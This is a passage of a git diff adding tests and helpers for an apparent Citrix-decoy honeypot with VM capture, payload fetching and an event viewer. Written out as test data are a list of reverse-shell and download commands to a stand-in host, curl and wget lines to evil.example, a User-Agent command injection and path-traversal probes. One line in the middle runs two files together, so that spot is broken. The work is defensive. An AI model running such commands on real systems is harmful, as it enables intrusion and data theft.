== 'network_end' for r in rows) == 2: + break + assert time.monotonic() < deadline, 'broker streams did not finish' + time.sleep(0.05) + connections = {r['destination_port']: r['connection_id'] for r in rows + if r['event'] == 'network_connected'} + assert set(connections) == {80, 4444}, connections + for port, cid in connections.items(): + chunks = sorted((r for r in rows if r['event'] == 'network_chunk' and + r['connection_id'] == cid), key=lambda r: r['sequence']) + def stream(direction): + return b''.join((evidence.directory / r['artifact']).read_bytes() + for r in chunks if r['direction'] == direction) + assert all(r['forwarded'] and r['time_ns'] for r in chunks) + assert stream('guest_to_remote') == captured[port] + assert stream('remote_to_guest') == (commands if port == 4444 else response) + assert not server.failed.is_set() + finally: + if server is not None: + server.shutdown() + server.server_close() + for listener in listeners.values(): + listener.close() + try: + ssh('rm -f -- ' + shlex.quote(guest_file)) + finally: + evidence.close() + print(f'LIVE PASS: real guest reverse shell + binary download; exact bidirectional evidence at {root}') + + +if __name__ == '__main__': + run() diff --git a/test_payload_fetch.py b/test_payload_fetch.py new file mode 100644 index 0000000..b753880 --- /dev/null +++ b/test_payload_fetch.py @@ -0,0 +1,103 @@ +"""Run: python3 test_payload_fetch.py. Local fixtures only; no real outbound connections.""" +import http.server +import pathlib +import threading +import time + +from payload_fetch import Fetcher, extract_urls, public_addresses + +# Static guarantee: the fetcher has no way to execute or pipe anything. +SOURCE = (pathlib.Path(__file__).parent / 'payload_fetch.py').read_text() +for forbidden in ('subprocess', 'os.system', 'os.popen', 'eval(', 'exec(', '__import__', 'pty.'): + assert forbidden not in SOURCE, 'payload_fetch contains ' + forbidden + +assert extract_urls('curl http://evil.example/a.sh -o /tmp/a; wget https://x.example/b') == [ + 'http://evil.example/a.sh', 'https://x.example/b'] +assert extract_urls('echo hi | bash') == [] +assert extract_urls('curl http://evil/a|bash') == ['http://evil/a'] +for blocked in ('127.0.0.1', '169.254.169.254', '10.0.0.1', '192.168.1.1', '::1'): + try: + public_addresses(blocked) + raise AssertionError(blocked) + except ValueError: + pass + +PAYLOAD = b'\x00MZ-inert-download\xff' * 64 + + +class Fixture(http.server.BaseHTTPRequestHandler): + def log_message(self, *args): + pass + + def do_GET(self): + if self.path == '/redirect': + self.send_response(302) + self.send_header('Location', '/payload') + self.end_headers() + elif self.path == '/big': + self.send_response(200) + self.send_header('Content-Type', 'application/octet-stream') + self.end_headers() + self.wfile.write(b'A' * 4096) + else: + self.send_response(200) + self.send_header('Content-Type', 'application/octet-stream') + self.end_headers() + self.wfile.write(PAYLOAD) + + +def main(): + server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), Fixture) + port = server.server_port + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + rows = [] + try: + fetcher = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)), + resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=1024 * 1024) + base = f'http://127.0.0.1:{port}' + ctx = {'peer': '8.8.8.8', 'request_id': 'req-1'} + + # exact bytes stored, correlated context preserved + fetcher._fetch(base + '/payload', ctx) + download = rows[-1] + assert download['event'] == 'payload_download' and download['content'] == PAYLOAD + assert download['peer'] == '8.8.8.8' and download['request_id'] == 'req-1' + assert download['status'] == 200 and download['truncated'] is False + + # redirects are followed through the same validated resolver + fetcher._fetch(base + '/redirect', ctx) + assert rows[-1]['event'] == 'payload_download' and rows[-1]['url'].endswith('/payload') + + # size cap marks truncation + small = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)), + resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=256) + small._fetch(base + '/big', ctx) + assert rows[-1]['truncated'] is True and len(rows[-1]['content']) == 256 + + # non-allowed port is rejected before any socket is opened + strict = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)), + resolver=lambda host: ['127.0.0.1'], ports=(80, 443)) + try: + strict._fetch(base + '/payload', ctx) + raise AssertionError('non-allowed port accepted') + except ValueError: + pass + + # submit runs in background and stores the asset + before = len(rows) + fetcher.submit(f'wget {base}/payload -O /tmp/x', ctx) + for _ in range(50): + if any(r['event'] == 'payload_download' for r in rows[before:]): + break + time.sleep(0.05) + assert any(r['event'] == 'payload_download' for r in rows[before:]) + finally: + server.shutdown() + server.server_close() + thread.join(3) + print('PASS: payload fetcher downloads and stores assets, blocks private/ports, never executes') + + +if __name__ == '__main__': + main() diff --git a/test_private_boundary.py b/test_private_boundary.py new file mode 100644 index 0000000..1a34d1b --- /dev/null +++ b/test_private_boundary.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +"""Harmless path checks against the local tunnel to the decoy; no payload execution.""" +import argparse +import http.client +import ipaddress +import urllib.parse + +PATHS = ( + '/reports', '/reports/', '/admin', '/admin/', '/dashboard', '/evidence', '/evidence/', + '/logs', '/logs/', '/logs/events.jsonl', '/events.jsonl', '/artifacts/', + '/artifacts/' + '0' * 64 + '.bin', '/http/events.jsonl', '/network/events.jsonl', + '/var/lib/decoy/http/events.jsonl', '/var/lib/decoy/network/events.jsonl', + '/opt/decoy/honeypot.py', '/honeypot.py', '/evidence.py', '/vm_backend.py', '/guest.py', + '/network_capture.py', '/ui/sources.json', '/README.md', + '/../var/lib/decoy/http/events.jsonl', '/../../var/lib/decoy/http/events.jsonl', + '/%2e%2e/%2e%2e/var/lib/decoy/http/events.jsonl', + '/%2e%2e%2f%2e%2e%2fvar%2flib%2fdecoy%2fhttp%2fevents.jsonl', + '/%252e%252e%252fvar%252flib%252fdecoy%252fhttp%252fevents.jsonl', + '/..%5c..%5cvar%5clib%5cdecoy%5chttp%5cevents.jsonl', + '//var/lib/decoy/http/events.jsonl', '/logs/../events.jsonl', '/logs%00/events.jsonl', +) + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--url', required=True, help='HTTP loopback tunnel URL') + args = parser.parse_args() + url = urllib.parse.urlsplit(args.url) + if url.scheme != 'http' or url.username or url.password or url.query or url.fragment: + parser.error('use an HTTP loopback tunnel URL without credentials or query') + try: + loopback = ipaddress.ip_address(url.hostname).is_loopback + except ValueError: + loopback = url.hostname == 'localhost' + if not loopback or url.path not in ('', '/'): + parser.error('test is restricted to the loopback tunnel root') + def request(path): + conn = http.client.HTTPConnection(url.hostname, url.port or 80, timeout=25) + try: + conn.request('GET', path) + response = conn.getresponse() + body = response.read(131073) + assert len(body) <= 131072, 'unexpected large response for ' + path + return response.status, body + finally: + conn.close() + status, body = request('/') + assert status == 200 and b'/root/pwned', + 'echo owned > /tmp/pwned-by-attacker', + 'curl http://203.0.113.9/x.sh -o /tmp/x.sh', + 'wget http://203.0.113.9/payload -O /tmp/p', + 'nc -e /bin/sh 203.0.113.9 4444', + 'bash -c "sh -i >& /dev/tcp/203.0.113.9/4444 0>&1"', + '`id`', + 'mkdir -p /var/www/shell; touch /var/www/shell/x.jsp', +) +marker = pathlib.Path(tempfile.gettempdir()) / 'pwned-by-attacker' +if marker.exists(): + marker.unlink() + +try: + events = [] + engine = Engine(lambda event, **data: events.append(dict(event=event, **data))) + state = engine.session('198.51.100.7') + for command in DANGEROUS: + simulate(state, command, engine.emit) + engine.tick() +finally: + for name, original in saved.items(): + if name.startswith('subprocess.'): + setattr(subprocess, name.split('.', 1)[1], original) + else: + setattr(os, name, original) + +assert not calls, calls +assert not marker.exists(), 'a simulated command wrote a real file' +kinds = {e['event'] for e in events} +assert 'unsupported' in kinds or 'simulated_command' in kinds +outbound = [e for e in events if e['event'] == 'outbound_attempt'] +assert outbound and all(e['disposition'] == 'recorded_only' for e in outbound) +# Virtual writes stay in memory only. +assert 'virtual_file_write' in kinds or 'unsupported' in kinds +print('PASS: simulation-only, no OS/exec/network calls, outbound recorded not performed') diff --git a/test_viewer.py b/test_viewer.py new file mode 100644 index 0000000..8e98a4b --- /dev/null +++ b/test_viewer.py @@ -0,0 +1,91 @@ +"""Run: python3 test_viewer.py. Loopback-only read-only viewer checks; no third-party dependencies.""" +import hashlib +import http.client +import http.server +import json +import pathlib +import tempfile +import threading + +import viewer + + +def main(): + with tempfile.TemporaryDirectory() as folder: + root = pathlib.Path(folder) + (root / 'artifacts').mkdir() + payload = b'\x00\xffcommand-output\x00' + sha = hashlib.sha256(payload).hexdigest() + (root / 'artifacts' / (sha + '.bin')).write_bytes(payload) + with (root / 'events.jsonl').open('w') as stream: + for event, peer, has_evidence in (('connection', '8.8.8.8', False), + ('request', '1.1.1.1', False), + ('simulated_command', '8.8.8.8', True)): + row = {'event': event, 'timestamp': '2026-09-28T00:00:00.000000+00:00', 'peer': peer, + 'command': 'id > /netscaler/ns_gui/x'} + if has_evidence: + row['evidence'] = {'sha256': sha, 'bytes': len(payload)} + stream.write(json.dumps(row) + '\n') + stream.write('{not json\n') + server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), viewer.Handler) + server.journal = root / 'events.jsonl' + server.artifacts = root / 'artifacts' + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + + def get(path): + connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + connection.request('GET', path) + response = connection.getresponse() + result = response.status, response.read() + connection.close() + return result + + def data(path): + return json.loads(get(path)[1]) + + try: + status, body = get('/') + assert status == 200 and b'CitrixPot' in body and b'full-text search' in body + all_events = data('/api/events?size=10') + assert all_events['scanned'] == 4 and len(all_events['events']) == 3 + # newest first + assert all_events['events'][0]['event'] == 'simulated_command' + # pagination + page0 = data('/api/events?size=2&page=0') + page1 = data('/api/events?size=2&page=1') + assert len(page0['events']) == 2 and page0['has_more'] is True + assert len(page1['events']) == 1 and page1['has_more'] is False + assert page0['events'][0]['event'] == 'simulated_command' + # filters + assert len(data('/api/events?event=request')['events']) == 1 + assert len(data('/api/events?q=simulated')['events']) == 1 + assert len(data('/api/events?q=command')['events']) == 3 + assert len(data('/api/events?peer=1.1.1.1')['events']) == 1 + assert len(data('/api/events?payload=1')['events']) == 1 + # multi-term full-text (all terms must match) + assert len(data('/api/events?q=id%20netscaler')['events']) == 3 + assert len(data('/api/events?q=id%20nonexistent')['events']) == 0 + # artifacts + status, body = get('/api/artifact/' + sha) + assert status == 200 and body == payload + status, body = get('/api/artifact/' + sha + '?inline=1') + assert status == 200 and b'command-output' in body + assert get('/api/artifact/not-a-hash')[0] == 404 + assert get('/api/artifact/' + 'a' * 64)[0] == 404 + assert get('/nope')[0] == 404 + # hide operator IPs + server.hide_ips = {'8.8.8.8'} + hidden_on = data('/api/events?hide=1') + assert len(hidden_on['events']) == 1 and hidden_on['hidden'] == 1 + hidden_off = data('/api/events?hide=0') + assert len(hidden_off['events']) == 3 and hidden_off['hidden'] == 0 + finally: + server.shutdown() + server.server_close() + thread.join(3) + print('PASS: local read-only viewer: paged, filtered, multi-term search and inert artifacts') + + +if __name__ == '__main__': + main() diff --git a/test_vm_backend.py b/test_vm_backend.py new file mode 100644 index 0000000..a99f7d2 --- /dev/null +++ b/test_vm_backend.py @@ -0,0 +1,107 @@ +"""Run locally: fake SSH only; never runs received commands or guest.main.""" +import base64 +import json +import pathlib +import stat +import sys +import tempfile +import time +from evidence import EvidenceError +from honeypot import Engine +from vm_backend import VMBackend, LIMIT + + +def main(): + with tempfile.TemporaryDirectory() as directory: + root = pathlib.Path(directory) + fake = root / 'transport.py' + fake.write_text('''import sys,json,base64 +r=json.loads(sys.stdin.readline()) +if r.get('command') == 'invalid-event': + print(json.dumps({'event':'response','base64':base64.b64encode(b'bad').decode()})) +else: + print(json.dumps({'event':'guest_stdout', 'peer':'forged', 'request_id':'forged', + 'telemetry_trust':'trusted', 'evidence':{'path':'/forged'}, + 'base64':r.get('base64',base64.b64encode(b'fixture').decode())})) +''') + config = root / 'config.json' + config.write_text(json.dumps(dict(host='192.0.2.1', vmid=223, identity='/unused', known_hosts='/unused', + allowed_peers=str(root / 'peers.json'), stop_file=str(root / 'STOP')))) + events = [] + engine = Engine(lambda event, **data: events.append(dict(event=event, **data)), delay=0) + backend = VMBackend(config, lambda event, **data: events.append(dict(event=event, **data))) + # Only test fixtures run locally. Production constructs SSH argv with a fixed remote command. + assert backend.ssh[-1] == 'python3 /opt/decoy/guest.py' and backend.ssh[0] == 'ssh' + assert 'StrictHostKeyChecking=yes' in backend.ssh + backend.ssh = [sys.executable, str(fake)] + ctx = dict(peer='198.51.100.4', request_id='request-one', session='session-one') + payload = b'\x00\xff' * (1024 * 1024) # proves upload beyond old 131k request limit + backend.upload(payload, ctx) + row = events[-1] + assert row['content'] == payload and row['peer'] == ctx['peer'] + assert row['request_id'] == ctx['request_id'] and row['telemetry_trust'] == 'guest-reported' + assert 'evidence' not in row and row['guest_shared'] + assert backend.read('/netscaler/ns_gui/marker', ctx) == b'fixture' + try: + backend.upload(b'x' * (LIMIT + 1), ctx) + raise AssertionError('upload cap') + except ValueError: + pass + try: + list(backend.records(dict(action='execute', command='invalid-event'), ctx)) + raise AssertionError('guest event whitelist') + except ValueError: + pass + for i in range(130): + backend.register_peer('198.51.100.' + str(i)) + peers = json.loads((root / 'peers.json').read_text()) + assert len(peers) == 128 and peers[-1] == '198.51.100.129' + assert stat.S_IMODE((root / 'peers.json').stat().st_mode) == 0o600 + backend.register_peer('::1') + assert json.loads((root / 'peers.json').read_text()) == peers + # Mode dispatch with an inert transport: source/request context survives the delayed queue. + engine.backend = backend + state = engine.session(ctx['peer']) + marker = root / 'must-not-exist' + state.pending.append((0, 'echo fixture > ' + str(marker), ctx)) + engine.tick() + deadline = time.monotonic() + 3 + while backend.threads and time.monotonic() < deadline: + time.sleep(.01) + assert not backend.threads and not marker.exists() + assert any(e['event'] == 'execution_start' and e['request_id'] == 'request-one' for e in events) + assert not any(e['event'] == 'simulated_command' for e in events) + # A full evidence store latches STOP, calls server failure hook, and disables new transport. + failures = [] + def fail_emit(*args, **kwargs): + raise EvidenceError('test quota') + backend.emit = fail_emit + backend.on_failure = failures.append + try: + backend.read('/netscaler/ns_gui/marker', ctx) + raise AssertionError('evidence failure swallowed') + except EvidenceError: + pass + assert backend.closed and (root / 'STOP').exists() and failures + assert not backend.active + # Losing execution telemetry must latch STOP even when the evidence sink still works. + config_data = json.loads(config.read_text()) + config_data['stop_file'] = str(root / 'STOP-transport') + config.write_text(json.dumps(config_data)) + broken = VMBackend(config, lambda event, **data: events.append(dict(event=event, **data))) + broken.ssh = [sys.executable, str(fake)] + broken.on_failure = failures.append + broken.execute('invalid-event', ctx) + deadline = time.monotonic() + 3 + while broken.threads and time.monotonic() < deadline: + time.sleep(.01) + assert broken.closed and (root / 'STOP-transport').exists() + assert any(e['event'] == 'execution_error' for e in events) + # Guest entrypoint is inert on non-guest systems (no import side effects). + import guest + assert guest.ACTIVE is None + print('PASS: bounded fake SSH, large upload, guest sanitization, mode dispatch, correlation, allowlist, fail-closed') + + +if __name__ == '__main__': + main() diff --git a/test_vm_live.py b/test_vm_live.py new file mode 100644 index 0000000..1aaf18e --- /dev/null +++ b/test_vm_live.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +"""Harmless VM integration check. Run ONLY on the dedicated collector after containment is ready.""" +import argparse +import hashlib +import http.client +import pathlib +import secrets +import tempfile +import threading +import time +from evidence import Evidence +from honeypot import Engine, Server +from vm_backend import VMBackend + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--vm-config', required=True) + args = parser.parse_args() + marker = pathlib.Path('/etc/decoy-collector') + if not marker.is_file() or marker.is_symlink(): + raise SystemExit('Refusing live test outside dedicated collector') + token = secrets.token_hex(8) + with tempfile.TemporaryDirectory(prefix='decoy-live-') as folder: + evidence = Evidence(folder, quota=512 * 1024 * 1024) + rows = [] + def sink(event, **data): + evidence.emit(event, **data) + rows.append(dict(event=event, **data)) + engine = Engine(sink, delay=0, save=evidence.save) + backend = VMBackend(args.vm_config, engine.emit) + engine.backend = backend + # Test-only HTTP traffic must not overwrite the production reverse-peer authorization file. + backend.register_peer = lambda peer: None + server = Server(('127.0.0.1', 0), engine) + backend.on_failure = server.stop_capture + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + def payload(row): + return (pathlib.Path(folder) / row['evidence']['artifact']).read_bytes() + def run(command): + request_id = secrets.token_hex(16) + ctx = dict(request_id=request_id, peer='192.0.2.42', peer_port=12345) + with engine.lock: + state = engine.session(ctx['peer']) + ctx['session'] = state.sid + state.pending.append((0, command, ctx)) + engine.tick() + deadline = time.monotonic() + 20 + while time.monotonic() < deadline: + result = [r for r in rows if r.get('request_id') == request_id] + if any(r['event'] in ('execution_error', 'guest_execution_limit') for r in result): + raise AssertionError('guest execution failed: ' + request_id) + if any(r['event'] == 'execution_end' for r in result): + assert all(r.get('peer') == '192.0.2.42' and r.get('session') == state.sid for r in result) + assert all(r.get('execution_id') for r in result) + return b''.join(payload(r) for r in result if r['event'] == 'guest_stdout'), result + time.sleep(.05) + raise AssertionError('live command did not complete within20s') + def request(method, path, body=None, headers=None): + conn = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=25) + try: + conn.request(method, path, body, headers or {}) + response = conn.getresponse() + return response.status, response.read() + finally: + conn.close() + try: + path = '/netscaler/ns_gui/live-' + token + '.txt' + output, result = run('id > ' + path + '; sleep 1; cat ' + path) + assert b'uid=0(root)' in output + captured = [r for r in result if r['event'] == 'guest_file_version' and r.get('path') == path] + assert captured and b'uid=0(root)' in payload(captured[-1]) + ctx = dict(request_id='read-' + token, peer='192.0.2.42', session='live-test') + assert b'uid=0(root)' in backend.read(path, ctx) + status, body = request('GET', '/live-' + token + '.txt') + assert status == 200 and b'uid=0(root)' in body + # Harmless User-Agent log-poisoning shape from the public write-up; loopback decoy only. + ua_path = '/netscaler/ns_gui/ua-' + token + '.txt' + ua = 'pitboss PPE unexpectedly died NSPPE;:`id>' + ua_path + '`;# X' + assert request('GET', '/', headers={'User-Agent': ua})[0] == 200 + candidate = next(r for r in reversed(rows) if r['event'] == 'injection_candidate') + assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua + assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0 + assert request('GET', '/ua-' + token + '.txt')[0] == 404 + engine.tick() + deadline = time.monotonic() + 20 + while time.monotonic() < deadline: + matching = [r for r in rows if r.get('request_id') == candidate['request_id']] + if any(r['event'] == 'execution_error' for r in matching): + raise AssertionError('User-Agent guest execution failed') + if any(r['event'] == 'execution_end' for r in matching): + break + time.sleep(.05) + else: + raise AssertionError('User-Agent execution timeout') + start = next(r for r in matching if r['event'] == 'execution_start') + assert start['command'] == 'id>' + ua_path + assert all(start[k] == candidate[k] for k in ('request_id', 'session', 'peer', 'peer_port')) + status, body = request('GET', '/ua-' + token + '.txt') + assert status == 200 and b'uid=0(root)' in body + binary = b'\x00\xffinert-live-upload-' + token.encode() + digest = hashlib.sha256(binary).hexdigest() + multipart = (b'--boundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n' + b'Content-Type: application/octet-stream\r\n\r\n' + binary + b'\r\n--boundary--\r\n') + assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=boundary'})[0] == 404 + upload = next(r for r in rows if r['event'] == 'upload') + assert upload['filename'] == '../../escape.bin' and payload(upload) == binary + materialized = next(r for r in rows if r['event'] == 'guest_upload') + assert materialized['path'] == '/var/tmp/uploads/' + digest + '.bin' + assert materialized['request_id'] == upload['request_id'] and materialized['peer'] == '127.0.0.1' + output, _ = run('sha256sum /var/tmp/uploads/' + digest + '.bin') + assert output.startswith(digest.encode()) + run('ln -s /etc/passwd /netscaler/ns_gui/link-' + token) + assert request('GET', '/link-' + token)[0] == 404 + endpoints = [('192.0.2.10', 22), ('198.51.100.10', 22), ('169.254.169.254', 80), + ('10.0.2.2', 22), ('203.0.113.1', 25)] + # Bypass guest NAT via relay UID: prove QEMU restrict blocks direct egress even if guest root disables interception. + commands = [] + for host, port in endpoints: + endpoint = host + ':' + str(port) + commands.append("if runuser -u decoy-relay -- timeout 2 bash -c 'echo probe >/dev/tcp/" + host + '/' + str(port) + + "' 2>/dev/null; then echo UNEXPECTED_ALLOWED " + endpoint + + '; else echo BLOCKED ' + endpoint + '; fi') + output, _ = run('; '.join(commands)) + assert b'UNEXPECTED_ALLOWED' not in output + assert all(('BLOCKED ' + h + ':' + str(p)).encode() in output for h, p in endpoints) + run('rm -f ' + path + ' ' + ua_path + ' /netscaler/ns_gui/link-' + token + ' /var/tmp/uploads/' + digest + '.bin') + print('PASS: real root command, offguest file/stdout evidence, HTTP file, User-Agent trigger, binary multipart, source correlation, symlink refusal, five denied egress probes') + finally: + backend.close() + server.shutdown() + server.server_close() + thread.join(timeout=3) + evidence.close() + + +if __name__ == '__main__': + main() diff --git a/trusted_proxy.py b/trusted_proxy.py new file mode 100644 index 0000000..894579b --- /dev/null +++ b/trusted_proxy.py @@ -0,0 +1,55 @@ +"""Bounded PROXY-v1 parser and trusted reverse-proxy client-IP extraction.""" +import ipaddress + +CLIENT_HEADERS = ('CF-Connecting-IP', 'True-Client-IP', 'X-Real-IP') + + +def public_ip(value): + """Return a normalized global client IP, or None for private/spoofed values.""" + try: + ip = ipaddress.ip_address(value.strip()) + except (ValueError, AttributeError): + return None + if not ip.is_global or ip.is_multicast: + return None + return str(ip) + + +def forwarded_client(headers): + """Real client IP from a trusted proxy. Priority: single-hop headers, then nearest XFF hop.""" + for name in CLIENT_HEADERS: + value = headers.get(name) + if value: + ip = public_ip(value) + if ip: + return ip, name + for hop in reversed((headers.get('X-Forwarded-For') or '').split(',')): + ip = public_ip(hop) + if ip: + return ip, 'X-Forwarded-For' + return None, None + + +def source(connection, transport, trusted): + if transport[0] != trusted: + raise ValueError('untrusted PROXY transport') + header = bytearray() + while len(header) < 108: + value = connection.recv(1) + if not value: + raise ValueError('incomplete PROXY header') + header.extend(value) + if header.endswith(b'\r\n'): + break + else: + raise ValueError('oversize PROXY header') + fields = header.decode('ascii').strip().split(' ') + if len(fields) != 6 or fields[0] != 'PROXY' or fields[1] not in ('TCP4', 'TCP6'): + raise ValueError('invalid PROXY header') + version = 4 if fields[1] == 'TCP4' else 6 + if any(ipaddress.ip_address(ip).version != version for ip in fields[2:4]): + raise ValueError('PROXY address family mismatch') + ports = [int(value) for value in fields[4:]] + if any(not 0 < port <= 65535 for port in ports): + raise ValueError('invalid PROXY port') + return (fields[2], ports[0]), bytes(header) diff --git a/ui-preview.png b/ui-preview.png new file mode 100644 index 0000000000000000000000000000000000000000..66a61d179685d8cde2b3883d9745b655c5042120 GIT binary patch literal 26106 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 